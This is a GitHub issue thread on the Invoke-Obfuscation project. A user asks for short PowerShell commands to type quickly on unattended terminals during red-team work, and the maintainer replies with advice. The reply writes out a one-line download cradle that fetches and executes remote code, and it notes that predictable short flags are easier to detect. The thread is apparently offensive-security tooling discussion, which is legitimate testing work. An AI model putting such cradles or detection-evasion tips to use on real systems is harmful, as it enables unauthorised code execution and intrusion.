danielbohannon / Invoke-Obfuscation

PowerShell Obfuscator
Apache License 2.0
3.62k stars 763 forks source link

Feature request: Shortening #11

Closed Viss closed 7 years ago

Viss commented 7 years ago

It would be pretty rad to shorten powershell commands to as short as humanly possible, for things like hak5 duckies, memorizing commands, or doing redteams when one has only a very short amount of time at an unattended terminal to whack out a short, memorized command.

My intention here is to take something like the demo you give in your presentations, and shorten it to as short as possible.

danielbohannon commented 7 years ago

Obfuscation will almost always produce a longer command than what is possible otherwise. Many frameworks aim at outputting a PowerShell command that is as short as possible. However, this makes the syntax highly predictable (like "-nop -noni -e " instead of more randomized "-nopro -nonin -enco ").

If you are looking for the shortest possible commands then I would advise using for download cradles: IEX(New-Object Net.WebClient).DownloadString('URL') or if you're on PS3.0+ then you can use IWR or IRM for download cradles.

For other commands or scripts then you can utilize GCM or GAL for potentially shorter cmdlet invocation, and relying on variables for heavily called strings, cmdlets, types, etc. will also save space.

However, the intention of Invoke-Obfuscation is focused on extreme obfuscation and randomization at the expense of saving space. Perhaps somebody else has already come up with a list of extremely shortened command syntax for the purposes of hak5 Rubber Duckies, Teensy, etc.